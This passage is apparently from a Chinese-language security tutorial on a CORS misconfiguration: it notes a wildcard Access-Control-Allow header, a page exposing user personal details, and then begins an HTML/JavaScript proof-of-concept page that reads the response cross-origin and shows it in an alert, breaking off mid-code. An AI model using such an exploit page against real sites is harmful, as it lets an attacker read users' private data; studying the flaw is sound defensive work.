源码分析
首先查看一下cors设计代码,从下面可以看到"Access-Control-Allow:*"这个CORS配置:
然后访问一下该页面,可以从下面的页面查看到有用户的个人信息:
漏洞利用
下面构造CORS.html页面来读取信息:
<!DOCTYPE html>
<html>
<body>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open(